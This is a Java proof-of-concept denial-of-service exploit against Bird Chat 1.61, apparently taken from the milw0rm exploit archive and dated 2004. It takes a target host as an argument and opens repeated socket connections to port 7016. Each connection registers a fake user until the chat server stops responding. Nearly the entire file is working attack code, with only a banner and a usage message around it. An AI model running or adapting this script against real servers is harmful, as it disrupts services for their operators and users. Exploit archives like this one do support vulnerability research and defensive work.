/*
Bird Chat 1.61 - Denial Of Service - Proof Of Concept
Coded by: Donato Ferrante
*/
import java.net.Socket;
import java.net.InetAddress;
import java.net.ConnectException;
import java.net.SocketTimeoutException;
import java.io.OutputStream;
import java.io.InputStream;
public class BirdChat161_DoS_poc {
private final static int MAX_CONNECTION = 16;
private final static int PORT = 7016;
private final static String VERSION = "0.1.0";
public static void main(String [] args){
System.out.println(
"\n\nBird Chat 1.61 - Denial Of Service - Proof Of Concept\n" +
"Version: " + VERSION + "\n\n" +
"coded by: Donato Ferrante\n" +
"e-mail: fdonato@autistici.org\n" +
"web: www.autistici.org/fdonato\;n\n"
);
String host = "localhost";
try{
if(args.length != 1)
usage();
host = args[0];
}catch(Exception e){usage();}
try{
int i = 1,
var = 0;
while(i++ <= MAX_CONNECTION){
try{
String err = "";
int port = PORT;
InetAddress addr = InetAddress.getByName(host);
Socket socket = new Socket(addr, port);
socket.setSoTimeout(3000);
InputStream stream = socket.getInputStream();
int line = stream.read();
while(line != -1){
if(line == '?'){
break;
}
line = stream.read();
}
OutputStream outStream = socket.getOutputStream();
outStream.write(("*user=fake_user0" + ++var + "\n").getBytes());
int count = 0;
line = stream.read();
while(true){
line = stream.read();
if(line == '\n')
count++;
if(count >= 3)
break;
}
}catch(SocketTimeoutException ste){break;}
catch(ConnectException ce){System.err.println(ce); continue;}
}
}catch(Exception e){System.err.println(e);}
System.out.println("\nBird Chat - Denial Of Service - Proof_Of_Concept terminated.\n\n");
}
private static void usage(){
System.out.println("Usage: java BirdChat161_DoS_poc <host>\n\n");
System.exit(-1);
}
}
// milw0rm.com [2004-08-26]
